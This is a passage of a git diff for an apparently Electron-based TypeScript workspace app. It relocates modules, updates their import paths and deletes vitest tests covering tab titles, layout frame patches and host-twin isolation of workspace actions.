-    expect(store.getState().tabsByWorktree['wt-1']?.[0]?.title).toBe('Remote agent 1')
-  })
-
-  it('replaces an earlier title on the same owner', () => {
-    const store = createTestStore()
-    const fixture = makeScaleState(2)
-    seedStore(store, {
-      worktreesByRepo: { repo1: fixture.worktrees },
-      tabsByWorktree: fixture.tabsByWorktree,
-      unifiedTabsByWorktree: fixture.unifiedTabsByWorktree
-    })
-    store.getState().updateTabTitle('tab-1', 'First warm title')
-
-    store.getState().updateTabTitle('tab-1', 'Second warm title')
-
-    expect(store.getState().tabsByWorktree['wt-1']?.[0]?.title).toBe('Second warm title')
-  })
-
-  it('coalesces generated titles while preserving first-write and replacement semantics', () => {
-    const store = createTestStore()
-    const fixture = makeScaleState(2)
-    seedStore(store, {
-      settings: { ...getDefaultSettings('/tmp'), tabAutoGenerateTitle: true },
-      worktreesByRepo: { repo1: fixture.worktrees },
-      tabsByWorktree: fixture.tabsByWorktree,
-      unifiedTabsByWorktree: fixture.unifiedTabsByWorktree
-    })
-    const updates: GeneratedTabTitleUpdate[] = Array.from({ length: 2 }, (_, index) => ({
-      paneKey: makePaneKey(`tab-${index}`, LEAF_ID),
-      prompt: `Refactor remote module ${index} for startup performance`
-    }))
-    updates.push(
-      {
-        paneKey: makePaneKey('tab-0', LEAF_ID),
-        prompt: 'This later prompt must not replace the first generated title'
-      },
-      {
-        paneKey: makePaneKey('tab-0', LEAF_ID),
-        prompt: 'Replacement title for a newer dispatch',
-        options: { replaceExistingGeneratedTitle: true }
-      }
-    )
-
-    main.commands.length = 0
-    store.getState().setGeneratedTabTitlesFromAgentPrompts(updates)
-
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      // Main derives batch titles from agent status; first-write/replacement coverage is in agent-generated-tab-titles.test.ts, with no window writes.
-      expect(main.commands).toEqual([])
-      expect(store.getState().tabsByWorktree['wt-0']?.[0]?.generatedTitle).toBeUndefined()
-      return
-    }
-    expect(main.commands).toEqual([])
-    const titleOf = (worktreeId: string): string | null | undefined =>
-      store.getState().tabsByWorktree[worktreeId]?.[0]?.generatedTitle
-    expect(titleOf('wt-0')).toBe('Replacement title for a newer dispatch')
-    expect(titleOf('wt-1')).toBe('Refactor remote module 1 for startup')
-  })
-})
diff --git a/src/renderer/src/lib/desktop-created-server-tabs.ts b/src/renderer/src/store/workspace-layout/frames/desktop-created-server-tabs.ts
similarity index 97%
rename from src/renderer/src/lib/desktop-created-server-tabs.ts
rename to src/renderer/src/store/workspace-layout/frames/desktop-created-server-tabs.ts
index ba6c3345d27..b65a3c16a40 100644
--- a/src/renderer/src/lib/desktop-created-server-tabs.ts
+++ b/src/renderer/src/store/workspace-layout/frames/desktop-created-server-tabs.ts
@@ -1,7 +1,7 @@
 // Keep desktop-created simulator/browser tabs absent from paired-server frames in this desktop’s localStorage, keyed by server/workspace; published tabs follow server frames. Never serialize or send this record.
 
-import type { Tab } from '../../../shared/tab-types'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../shared/layout-owner-switch'
+import type { Tab } from '../../../../../shared/tab-types'
+import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/layout-owner-switch'
 import type { AppState } from '@/store/types'
 import type { HeldDrawnTabs } from '@/store/workspace-layout/frames/workspace-layout-frame-held-tabs'
 
diff --git a/src/renderer/src/lib/frame-drawn-chat-tab-placement.ts b/src/renderer/src/store/workspace-layout/frames/frame-drawn-chat-tab-placement.ts
similarity index 88%
rename from src/renderer/src/lib/frame-drawn-chat-tab-placement.ts
rename to src/renderer/src/store/workspace-layout/frames/frame-drawn-chat-tab-placement.ts
index f85f39204fa..fdc3a703aa8 100644
--- a/src/renderer/src/lib/frame-drawn-chat-tab-placement.ts
+++ b/src/renderer/src/store/workspace-layout/frames/frame-drawn-chat-tab-placement.ts
@@ -1,15 +1,15 @@
 // Hold provisional chats in server-drawn groups until publication; send placement in server IDs so created tabs retain their intended position (L270).
 
-import type { RuntimeClientTarget } from '../../../shared/runtime-client-target'
-import type { StructuredAgentSessionCreateParams } from '../../../shared/agent-session/structured-agent-session-create'
-import { AGENT_SESSION_CREATE_TAB_PLACEMENT_RUNTIME_CAPABILITY } from '../../../shared/agent-session/agent-session-create-capabilities'
-import { structuredAgentSessionTabId } from '../../../shared/agent-session/view/structured-agent-session-projection'
-import { useAppStore } from '@/store'
+import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
+import type { StructuredAgentSessionCreateParams } from '../../../../../shared/agent-session/structured-agent-session-create'
+import { AGENT_SESSION_CREATE_TAB_PLACEMENT_RUNTIME_CAPABILITY } from '../../../../../shared/agent-session/agent-session-create-capabilities'
+import { structuredAgentSessionTabId } from '../../../../../shared/agent-session/view/structured-agent-session-projection'
+import { useAppStore } from '@/store/index'
 import { readCachedRuntimeEnvironmentCapability } from '@/runtime/rpc/compatibility/runtime-compatibility-cache'
 import { serverLayoutApplyRoute } from '@/runtime/workspace-layout/server/server-layout-apply-routes'
 import { isFrameDrawnServerWorkspace } from '@/runtime/web-session-tabs-sync/frame-drawn-server-workspace-set'
 import { noteDesktopCreatedServerTab } from './desktop-created-server-tabs'
-import type { StructuredLaunchSurfaceAddress } from './agent-session/launch/structured-agent-session-launch-record'
+import type { StructuredLaunchSurfaceAddress } from '../../../lib/agent-session/launch/structured-agent-session-launch-record'
 
 function frameDrawnEnvironment(
   target: RuntimeClientTarget | null,
diff --git a/src/renderer/src/lib/frame-drawn-desktop-created-tabs.ts b/src/renderer/src/store/workspace-layout/frames/frame-drawn-desktop-created-tabs.ts
similarity index 100%
rename from src/renderer/src/lib/frame-drawn-desktop-created-tabs.ts
rename to src/renderer/src/store/workspace-layout/frames/frame-drawn-desktop-created-tabs.ts
diff --git a/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-browser-handover.ts b/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-browser-handover.ts
index 4861d4d95b8..d6c030d8945 100644
--- a/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-browser-handover.ts
+++ b/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-browser-handover.ts
@@ -1,4 +1,4 @@
-import { noteStagedBrowserTabHandedToFrames } from '@/lib/staged-browser-frame-handover'
+import { noteStagedBrowserTabHandedToFrames } from '@/runtime/browser/creation/staged-browser-frame-handover'
 
 /** Only what the handover reads of the store's browser pages and their handles. */
 type BrowserPages = {
diff --git a/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-store-patch.test.ts b/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-store-patch.test.ts
deleted file mode 100644
index c9c79a1152f..00000000000
--- a/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-store-patch.test.ts
+++ /dev/null
@@ -1,209 +0,0 @@
-import { describe, expect, it, vi } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types'
-import { loadWorkspaceLayoutWithoutReport } from '../../../../../shared/workspace-layout/workspace-layout-load'
-import { nameBasedLoadContext } from '../../../../../shared/workspace-layout/workspace-layout-minted-ids'
-import { localDesktopSession } from '../../../../../shared/workspace-layout/workspace-layout-profile.test-fixture'
-import {
-  publishWorkspaceLayout,
-  type PublishedWorkspaceLayout
-} from '../../../../../shared/workspace-layout/workspace-layout-published'
-import { GIT_KEY } from '../../../../../shared/workspace-layout/workspace-layout-session.test-fixture'
-import { bootWindowFromPartitions } from '../../../app-shell/startup-window-view.test-fixture'
-import { createStoreSessionMockApi } from '../../testing/app-store-session-api.test-fixture'
-import { createTestStore } from '../../testing/app-store-test-fixture'
-import { makeOpenFile } from '../../slices/editor/types/open-file.test-fixture'
-import { makeUnifiedTab } from '../../slices/tabs/tab-group.test-fixture'
-import type { AppState } from '../../types'
-import { beginPendingTab } from '@/runtime/workspace-layout/intents/layout-owner-pending-tabs'
-import { buildLayoutFrameSlices } from './workspace-layout-frame-slices'
-import { buildLayoutFrameStorePatch } from './workspace-layout-frame-store-patch'
-import {
-  DESKTOP_CREATED_SERVER_TAB_HOLDS,
-  _resetDesktopCreatedServerTabsForTests,
-  noteDesktopCreatedServerTab
-} from '@/lib/desktop-created-server-tabs'
-
-// Off as the build ships; the desktop-created record exists only with it on.
-const layoutOwner = vi.hoisted(() => ({ on: false }))
-vi.mock('../../../../../shared/layout-owner-switch', () => ({
-  get ORCA_LAYOUT_OWNER_IS_MAIN() {
-    return layoutOwner.on
-  }
-}))
-vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) }
-})
-
-createStoreSessionMockApi()
-
-async function restored(): Promise<{
-  state: AppState
-  session: WorkspaceSessionState
-  frame: PublishedWorkspaceLayout
-}> {
-  const session = localDesktopSession()
-  const state = await bootWindowFromPartitions(createTestStore(), [{ hostId: 'local', session }])
-  const { layout } = loadWorkspaceLayoutWithoutReport('local', session, nameBasedLoadContext())
-  return { state, session, frame: publishWorkspaceLayout(layout.workspaces[GIT_KEY]!, 'local') }
-}
-
-/** The patch that shows `frame` for the git workspace, with the stored session's view and facts. */
-function patchFor(
-  state: AppState,
-  session: WorkspaceSessionState,
-  frame: PublishedWorkspaceLayout,
-  ...windowSide: Parameters<typeof buildLayoutFrameStorePatch> extends [
-    unknown,
-    unknown,
-    unknown,
-    ...infer Rest
-  ]
-    ? Rest
-    : never
-) {
-  const { facts, desktopView } = loadWorkspaceLayoutWithoutReport(
-    'local',
-    session,
-    nameBasedLoadContext()
-  )
-  const built = buildLayoutFrameSlices({ layouts: { [GIT_KEY]: frame }, facts, view: desktopView })
-  return buildLayoutFrameStorePatch(state, built, [GIT_KEY], ...windowSide)
-}
-
-function withoutTab(frame: PublishedWorkspaceLayout, tabId: string): PublishedWorkspaceLayout {
-  return {
-    ...frame,
-    groups: frame.groups.map((group) => ({
-      ...group,
-      tabIds: group.tabIds.filter((id) => id !== tabId)
-    })),
-    tabs: frame.tabs.filter((tab) => tab.id !== tabId)
-  }
-}
-
-describe('laying frame slices over the store', () => {
-  it('retains editor content referenced by another workspace or a pending open and drops unreferenced content', async () => {
-    const { state, session, frame } = await restored()
-    const files = [
-      makeOpenFile({ id: 'shared-editor', worktreeId: GIT_KEY, mode: 'diff' }),
-      makeOpenFile({ id: 'pending-editor', worktreeId: GIT_KEY, mode: 'diff' }),
-      makeOpenFile({ id: 'unreferenced-editor', worktreeId: GIT_KEY, mode: 'diff' })
-    ]
-    const input = {
-      ...state,
-      openFiles: files,
-      unifiedTabsByWorktree: {
-        [GIT_KEY]: files.map((file) =>
-          makeUnifiedTab({
-            id: `local-${file.id}`,
-            entityId: file.id,
-            worktreeId: GIT_KEY,
-            groupId: 'local-group',
-            contentType: 'diff'
-          })
-        ),
-        'folder:other': [
-          makeUnifiedTab({
-            id: 'shared-tab',
-            entityId: 'shared-editor',
-            worktreeId: 'folder:other',
-            groupId: 'other-group',
-            contentType: 'diff'
-          })
-        ]
-      }
-    }
-    const finish = beginPendingTab('pending-tab', 'folder:pending', 'pending-editor', {
-      kind: 'open'
-    })
-    try {
-      const patch = patchFor(input, session, {
-        ...frame,
-        tabs: [],
-        groups: [],
-        editorFiles: [],
-        browserTabs: []
-      })
-      expect((patch.openFiles ?? input.openFiles).map((file) => file.id)).toEqual([
-        'shared-editor',
-        'pending-editor'
-      ])
-    } finally {
-      finish(null)
-    }
-  })
-
-  it('keeps the pane layout of a tab the window’s own pane command holds, until main drops the tab', async () => {
-    const { state, session, frame } = await restored()
-    const newRatios: PublishedWorkspaceLayout = {
-      ...frame,
-      tabs: frame.tabs.map((tab) =>
-        tab.id === 'tab-shell' && tab.terminal?.root?.type === 'split'
-          ? { ...tab, terminal: { ...tab.terminal, root: { ...tab.terminal.root, ratio: 0.2 } } }
-          : tab
-      )
-    }
-    const held = (id: string): boolean => id === 'tab-shell'
-
-    expect(patchFor(state, session, newRatios).terminalLayoutsByTabId?.['tab-shell']).toBeDefined()
-    expect(patchFor(state, session, newRatios, held).terminalLayoutsByTabId).toBeUndefined()
-    expect(
-      patchFor(state, session, withoutTab(frame, 'tab-shell'), held).terminalLayoutsByTabId
-    ).not.toHaveProperty('tab-shell')
-  })
-
-  it('keeps a client-hosted browser tab this desktop created, with its page and handle, at its place (L274)', async () => {
-    const { state, session, frame } = await restored()
-    const page = state.browserPagesByWorkspace['browser-1']![0]!
-    const handle = {
-      environmentId: 'web-env-1',
-      remotePageId: 'server-page-1',
-      placement: {
-        kind: 'client' as const,
-        browserHostClientId: 'this-desktop',
-        browserHostGeneration: 1,
-        pageHostGeneration: 1
-      }
-    }
-    const hosting = {
-      ...state,
-      remoteBrowserPageHandlesByPageId: {
-        ...state.remoteBrowserPageHandlesByPageId,
-        [page.id]: handle
-      }
-    }
-    const groupOf = (tabs: AppState['groupsByWorktree']) =>
-      tabs[GIT_KEY]!.find((group) => group.tabOrder.includes('browser-1'))
-    const order = groupOf(state.groupsByWorktree)!.tabOrder
-    // The server's frame lists every tab but the one this desktop hosts.
-    const serverFrame = { ...withoutTab(frame, 'browser-1'), browserTabs: [] }
-    layoutOwner.on = true
-    noteDesktopCreatedServerTab('web-env-1', GIT_KEY, 'browser-1')
-    try {
-      const patch = patchFor(
-        hosting,
-        session,
-        serverFrame,
-        undefined,
-        undefined,
-        DESKTOP_CREATED_SERVER_TAB_HOLDS
-      )
-      const after = { ...hosting, ...patch }
-      expect(after.unifiedTabsByWorktree[GIT_KEY]!.map((tab) => tab.id)).toContain('browser-1')
-      expect(groupOf(after.groupsByWorktree)?.tabOrder).toEqual(order)
-      expect(after.browserTabsByWorktree[GIT_KEY]!.map((tab) => tab.id)).toContain('browser-1')
-      expect(after.browserPagesByWorkspace['browser-1']).toEqual([page])
-      expect(after.remoteBrowserPageHandlesByPageId[page.id]).toEqual(handle)
-    } finally {
-      _resetDesktopCreatedServerTabsForTests()
-      layoutOwner.on = false
-    }
-    // Presence: without the hold, the same frame drops all three.
-    const dropped = patchFor(hosting, session, serverFrame)
-    expect(dropped.browserPagesByWorkspace).not.toHaveProperty('browser-1')
-    expect(dropped.remoteBrowserPageHandlesByPageId).not.toHaveProperty(page.id)
-  })
-})
diff --git a/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-store-view.ts b/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-store-view.ts
index 36f2e390a93..5390e8dd205 100644
--- a/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-store-view.ts
+++ b/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-store-view.ts
@@ -128,7 +128,8 @@ export function layoutViewAndFactsOfStore(
     localOnlyScrollbackByTabId: terminals.localOnlyScrollbackByTabId,
     browserPagesByWorkspace: buildPersistedBrowserPagesByWorkspace(
       pickKeys(state.browserPagesByWorkspace, browserTabIds),
-      state.remoteBrowserPageHandlesByPageId
+      state.remoteBrowserPageHandlesByPageId,
+      {}
     ),
     tabLabels: {},
     terminalRows: {},
diff --git a/src/renderer/src/store/workspaces/host-isolation/host-twin-isolation.test.ts b/src/renderer/src/store/workspaces/host-isolation/host-twin-isolation.test.ts
deleted file mode 100644
index 2c1fd2ae546..00000000000
--- a/src/renderer/src/store/workspaces/host-isolation/host-twin-isolation.test.ts
+++ /dev/null
@@ -1,257 +0,0 @@
-/** Twin-targeted actions must isolate survivors. Keep the hand-declared action table current; KNOWN_TWIN_LEAKS pins Stage 1 failures, so fixes require removing their entries. */
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-
-import { hostWorktreeTarget } from '../../../../../shared/worktree/host-qualified-identity'
-import {
-  createCompatibleRuntimeStatusResponseIfNeeded,
-  type RuntimeEnvironmentCallRequest
-} from '../../../runtime/rpc/testing/runtime-compatibility-test-fixture'
-import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../../runtime/rpc/compatibility/runtime-compatibility-cache'
-import { hasWorktreeSleepIntent } from '@/lib/worktree-sleep-intent'
-import {
-  changedHostTwinState,
-  projectHostTwinState,
-  resetHostTwinModuleStores
-} from './host-twin-state-projection.test-fixture'
-import {
-  createHostTwinFixture,
-  TWIN_RUNTIME_ENV,
-  type HostTwinFixture,
-  type HostTwinKind,
-  type HostTwinSide
-} from './host-twin.test-fixture'
-
-const appStore = vi.hoisted((): { current: HostTwinFixture['store'] | null } => ({
-  current: null
-}))
-
-// Why: the sleep flow reads the app singleton; route it to this test's store.
-vi.mock('@/store', () => ({
-  useAppStore: {
-    getState: () => {
-      if (!appStore.current) {
-        throw new Error('no twin fixture store bound')
-      }
-      return appStore.current.getState()
-    },
-    subscribe: (listener: Parameters<HostTwinFixture['store']['subscribe']>[0]) =>
-      appStore.current?.subscribe(listener) ?? (() => {})
-  }
-}))
-
-vi.mock('sonner', () => ({
-  toast: { info: vi.fn(), success: vi.fn(), error: vi.fn(), warning: vi.fn() }
-}))
-
-const { sleepWorktreesReportingFailures } =
-  await import('@/components/sidebar/workspace-actions/sleep/sleep-worktree-flow')
-const { fakeMainSleep } =
-  await import('@/components/sidebar/workspace-actions/sleep/sleep-worktree-test-main')
-
-const ptyKill = vi.fn()
-
-function answerLikeHost(args: RuntimeEnvironmentCallRequest): unknown {
-  const compatible = createCompatibleRuntimeStatusResponseIfNeeded(args)
-  if (compatible) {
-    return compatible
-  }
-  const result =
-    args.method === 'terminal.sleep'
-      ? {
-          stopped: 1,
-          stoppedPtyIds: [],
-          livePtyIds: [],
-          postStopVerified: true
-        }
-      : {}
-  return {
-    id: args.method,
-    ok: true,
-    result,
-    _meta: { runtimeId: 'runtime-b' }
-  }
-}
-
-beforeEach(() => {
-  clearRuntimeCompatibilityCacheForTests()
-  ptyKill.mockReset()
-  vi.stubGlobal('window', {
-    api: {
-      repos: { remove: vi.fn(), removeForHost: vi.fn() },
-      folderWorkspaces: { delete: vi.fn().mockResolvedValue(true) },
-      pty: { kill: ptyKill },
-      gh: { enqueuePRRefresh: vi.fn().mockResolvedValue(undefined) },
-      runtimeEnvironments: {
-        call: vi.fn(answerLikeHost),
-        list: vi.fn().mockResolvedValue([{ id: TWIN_RUNTIME_ENV }])
-      },
-      ui: { set: vi.fn().mockResolvedValue(undefined) },
-      // Main runs the sleep; the window follows its notices as in the app.
-      worktrees: { sleep: fakeMainSleep().sleep, sleepReopened: vi.fn() }
-    }
-  })
-})
-
-let current: HostTwinFixture | null = null
-
-afterEach(() => {
-  if (current) {
-    resetHostTwinModuleStores(current)
-  }
-  current = null
-  appStore.current = null
-  vi.unstubAllGlobals()
-})
-
-type TwinAction = {
-  id: string
-  /** The entry point under test; review this table when one is added or moved. */
-  source: string
-  appliesTo: (kind: HostTwinKind) => boolean
-  run: (fixture: HostTwinFixture, target: HostTwinSide) => Promise<unknown>
-  /** Proves the action reached its target, so an isolated no-op can't pass. */
-  applied: (fixture: HostTwinFixture, target: HostTwinSide) => void
-  // Workspace-wide by design (user decision 2026-10-17): assert survivor was acted on too.
-  wholeWorkspace?: (fixture: HostTwinFixture, survivor: HostTwinSide) => void
-}
-
-const survivorStopped = (f: HostTwinFixture, survivor: HostTwinSide) =>
-  expect(f.store.getState().ptyIdsByTabId[survivor.terminalTabId] ?? []).toEqual([])
-
-const isFolderKind = (kind: HostTwinKind) =>
-  kind === 'folder local+ssh' || kind === 'folder group local+ssh'
-const settle = async (run: () => unknown) => {
-  try {
-    await run()
-  } catch {
-    // A refusal is an acceptable outcome; the isolation assertion is what matters.
-  }
-}
-
-const TWIN_ACTIONS: readonly TwinAction[] = [
-  {
-    id: 'remove project',
-    source: 'store/repos/repo-removal.ts removeProject',
-    appliesTo: (kind) => !isFolderKind(kind),
-    run: (f, target) => f.store.getState().removeProject(f.projectId, { hostId: target.hostId }),
-    applied: (f, target) =>
-      expect(f.store.getState().repos.map((repo) => repo.executionHostId)).not.toContain(
-        target.hostId
-      )
-  },
-  {
-    id: 'delete folder workspace',
-    source: 'store/folder-workspaces/folder-workspace-mutations.ts deleteFolderWorkspace',
-    // Why: one unstamped row can't be deleted on one host only; the no-host case is below.
-    appliesTo: (kind) => kind === 'folder local+ssh',
-    run: (f, target) =>
-      f.store.getState().deleteFolderWorkspace(f.projectId, { executionHostId: target.hostId }),
-    applied: (f, target) =>
-      expect(
-        (f.store.getState().folderWorkspaces ?? []).map((folder) => folder.executionHostId)
-      ).not.toContain(target.hostId)
-  },
-  {
-    id: 'purge terminal state',
-    source: 'store/slices/worktrees.ts purgeWorktreeTerminalState',
-    appliesTo: () => true,
-    run: async (f, target) =>
-      f.store
-        .getState()
-        .purgeWorktreeTerminalState([
-          hostWorktreeTarget({ id: f.workspaceKey, hostId: target.hostId })
-        ]),
-    applied: (f, target) =>
-      expect(f.store.getState().ptyIdsByTabId[target.terminalTabId]).toBeUndefined()
-  },
-  {
-    id: 'kill terminals',
-    source: 'store/terminals/terminal-shutdown.ts shutdownWorktreeTerminals',
-    appliesTo: () => true,
-    // Why raw id: a twin's copies share one workspace, so killing one kills both.
-    run: (f) => settle(() => f.store.getState().shutdownWorktreeTerminals(f.workspaceKey)),
-    applied: (f, target) =>
-      expect(f.store.getState().ptyIdsByTabId[target.terminalTabId] ?? []).toEqual([]),
-    wholeWorkspace: survivorStopped
-  },
-  {
-    id: 'sleep',
-    source: 'components/sidebar/sleep-worktree-flow.ts sleepWorktreesReportingFailures',
-    appliesTo: () => true,
-    run: (f) => settle(() => sleepWorktreesReportingFailures([f.workspaceKey])),
-    applied: (f, target) =>
-      expect(f.store.getState().ptyIdsByTabId[target.terminalTabId] ?? []).toEqual([]),
-    wholeWorkspace: survivorStopped
-  },
-  {
-    id: 'select',
-    source: 'store/slices/worktrees.ts setActiveWorktree / setActiveFolderWorkspace',
-    // Why: a single unstamped folder row has no SSH copy to select.
-    appliesTo: (kind) => kind !== 'folder group local+ssh',
-    run: async (f, target) =>
-      isFolderKind(f.kind)
-        ? f.store.getState().setActiveFolderWorkspace(f.projectId, target.hostId)
-        : f.store.getState().setActiveWorktree(f.workspaceKey, target.hostId),
-    applied: (f, target) =>
-      expect(f.store.getState().activeWorkspaceExecutionHostId).toBe(target.hostId),
-    // Why: opening either copy wakes the shared workspace marker for both.
-    wholeWorkspace: (f) => expect(hasWorktreeSleepIntent(f.workspaceKey)).toBe(false)
-  }
-]
-
-const TWIN_KINDS: readonly HostTwinKind[] = [
-  'local+ssh',
-  'local+runtime',
-  'folder local+ssh',
-  'folder group local+ssh'
-]
-
-/** `<action> | <kind> | <target>` → why the survivor is touched today (tracker Stage 1 worklist). */
-const KNOWN_TWIN_LEAKS: Readonly<Record<string, string>> = Object.fromEntries([])
-
-function cellId(action: TwinAction, kind: HostTwinKind, target: 'local' | 'remote'): string {
-  return `${action.id} | ${kind} | ${target}`
-}
-
-describe('an action on one twin leaves the other twin alone', () => {
-  for (const kind of TWIN_KINDS) {
-    for (const action of TWIN_ACTIONS.filter((a) => a.appliesTo(kind))) {
-      for (const targetName of ['remote', 'local'] as const) {
-        const id = cellId(action, kind, targetName)
-        const knownLeak = KNOWN_TWIN_LEAKS[id]
-        const label = action.wholeWorkspace
-          ? `${id} (whole workspace by design)`
-          : knownLeak
-            ? `${id} (known leak: ${knownLeak})`
-            : id
-        it(label, async () => {
-          const fixture = createHostTwinFixture(kind)
-          current = fixture
-          appStore.current = fixture.store
-          const target = fixture[targetName]
-          const survivor = targetName === 'remote' ? fixture.local : fixture.remote
-          const before = projectHostTwinState(fixture, survivor)
-
-          await action.run(fixture, target)
-
-          const after = projectHostTwinState(fixture, survivor)
-          const changed = changedHostTwinState(before, after)
-          action.applied(fixture, target)
-          if (action.wholeWorkspace) {
-            action.wholeWorkspace(fixture, survivor)
-            return
-          }
-          if (knownLeak) {
-            // Fixed? Delete this cell's KNOWN_TWIN_LEAKS entry.
-            expect(changed).not.toEqual([])
-            return
-          }
-          expect(changed).toEqual([])
-          if (survivor.hostId === 'local') {
-            expect(ptyKill).not.toHaveBeenCalledWith(survivor.ptyId)
-          }
-        })
-      }
-    }
-  }
-})
diff --git a/src/renderer/src/store/workspaces/host-isolation/host-twin-state-projection.test-fixture.ts b/src/renderer/src/store/workspaces/host-isolation/host-twin-state-projection.test-fixture.ts
index 71ab74ac987..977159ff3ac 100644
--- a/src/renderer/src/store/workspaces/host-isolation/host-twin-state-projection.test-fixture.ts
+++ b/src/renderer/src/store/workspaces/host-isolation/host-twin-state-projection.test-fixture.ts
@@ -1,15 +1,18 @@
 /** What one twin owns, read back out of a host-twin fixture's store and module stores. */
 import { getRepoExecutionHostId } from '../../../../../shared/execution-host'
-import type { AppState } from '../../types'
 import {
   readNativeChatComposerDraft,
   updateNativeChatComposerDraft
 } from '@/components/native-chat/drafts/native-chat-composer-draft-store'
-import { forgetWorktreeSleepIntent, hasWorktreeSleepIntent } from '@/lib/worktree-sleep-intent'
+import {
+  forgetWorktreeSleepIntent,
+  hasWorktreeSleepIntent
+} from '@/lib/workspace/sleep/worktree-sleep-intent'
 import {
   clearHugeRepoWarningDismissalsForTests,
   hasDismissedHugeRepoWarning
 } from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals'
+import type { AppState } from '../../types'
 import type { HostTwinFixture, HostTwinSide } from './host-twin.test-fixture'
 
 export function resetHostTwinModuleStores(fixture: HostTwinFixture): void {
diff --git a/src/renderer/src/store/workspaces/host-isolation/host-twin-worktree-purge.test.ts b/src/renderer/src/store/workspaces/host-isolation/host-twin-worktree-purge.test.ts
deleted file mode 100644
index 5de283dc67a..00000000000
--- a/src/renderer/src/store/workspaces/host-isolation/host-twin-worktree-purge.test.ts
+++ /dev/null
@@ -1,270 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { hostWorktreeTarget } from '../../../../../shared/worktree/host-qualified-identity'
-import { getWorktreeVisitKey } from '@/lib/workspace/activation/worktree-visit-recency'
-import { hasWorktreeSleepIntent } from '@/lib/worktree-sleep-intent'
-import { resetHostTwinModuleStores } from './host-twin-state-projection.test-fixture'
-import {
-  createHostTwinFixture,
-  TWIN_RUNTIME_ENV,
-  type HostTwinFixture
-} from './host-twin.test-fixture'
-
-vi.mock('sonner', () => ({
-  toast: { info: vi.fn(), success: vi.fn(), error: vi.fn(), warning: vi.fn() }
-}))
-
-let current: HostTwinFixture | null = null
-
-beforeEach(() => {
-  vi.stubGlobal('window', { api: { pty: { kill: vi.fn() } } })
-})
-
-afterEach(() => {
-  if (current) {
-    resetHostTwinModuleStores(current)
-  }
-  current = null
-  vi.unstubAllGlobals()
-})
-
-function twin(kind: Parameters<typeof createHostTwinFixture>[0] = 'local+ssh'): HostTwinFixture {
-  const fixture = createHostTwinFixture(kind)
-  current = fixture
-  const key = fixture.workspaceKey
-  fixture.store.setState({
-    gitStatusByWorktree: { [key]: [] },
-    activeWorktreeId: key,
-    activeWorkspaceExecutionHostId: fixture.remote.hostId,
-    lastVisitedAtByWorktreeId: {
-      [getWorktreeVisitKey(key, fixture.local.hostId)]: 1,
-      [getWorktreeVisitKey(key, fixture.remote.hostId)]: 2
-    }
-  })
-  return fixture
-}
-
-function keepOnlyRemoteRow(fixture: HostTwinFixture): void {
-  fixture.store.setState((s) => ({
-    worktreesByRepo: {
-      [fixture.projectId]: (s.worktreesByRepo[fixture.projectId] ?? []).filter(
-        (row) => row.hostId === fixture.remote.hostId
-      )
-    }
-  }))
-}
-
-describe('purgeWorktreeTerminalState with a surviving twin', () => {
-  it("purges only the target host's attributable state", () => {
-    const f = twin()
-    const key = f.workspaceKey
-
-    const previous = {
-      paneKey: f.remote.paneKey,
-      state: 'done' as const,
-      prompt: '',
-      updatedAt: 1,
-      stateStartedAt: 1,
-      stateHistory: [],
-      terminalResumeEligible: false as const
-    }
-    f.store.setState({ agentStatusByPaneKey: { [f.remote.paneKey]: previous } })
-    const accepted = vi.fn()
-    const dispose = f.store.getState().subscribeAgentStatusChanges(accepted)
-    f.store.getState().purgeWorktreeTerminalState([hostWorktreeTarget({ id: key, ...f.remote })])
-    expect(accepted).toHaveBeenCalledExactlyOnceWith([
-      { paneKey: f.remote.paneKey, previous, current: undefined }
-    ])
-    dispose()
-
-    const s = f.store.getState()
-    expect(s.tabsByWorktree[key]?.map((tab) => tab.id)).toEqual([
-      f.local.terminalTabId,
-      f.dormantTabId
-    ])
-    expect(s.ptyIdsByTabId[f.remote.terminalTabId]).toBeUndefined()
-    expect(s.terminalLayoutsByTabId[f.remote.terminalTabId]).toBeUndefined()
-    expect(s.ptyIdsByTabId[f.local.terminalTabId]).toEqual([f.local.ptyId])
-    expect(s.unifiedTabsByWorktree[key]?.map((tab) => tab.id)).toEqual([
-      f.local.terminalTabId,
-      f.local.fileId,
-      f.dormantTabId
-    ])
-    expect(s.groupsByWorktree[key]?.[0]?.tabOrder).toEqual([
-      f.local.terminalTabId,
-      f.local.fileId,
-      f.dormantTabId
-    ])
-    expect(s.openFiles.map((file) => file.id)).toEqual([f.local.fileId])
-    expect(Object.keys(s.editorDrafts)).toEqual([f.local.fileId])
-    expect(Object.keys(s.sleepingAgentSessionsByPaneKey)).toEqual([f.local.paneKey])
-    // Shared buckets and raw-id module stores cannot name a host, so the twin keeps them.
-    expect(s.gitStatusByWorktree[key]).toEqual([])
-    expect(hasWorktreeSleepIntent(key)).toBe(true)
-    expect(Object.keys(s.lastVisitedAtByWorktreeId)).toEqual([
-      getWorktreeVisitKey(key, f.local.hostId)
-    ])
-    expect(s.activeWorktreeId).toBe(key)
-    expect(s.activeWorkspaceExecutionHostId).toBe(f.local.hostId)
-  })
-
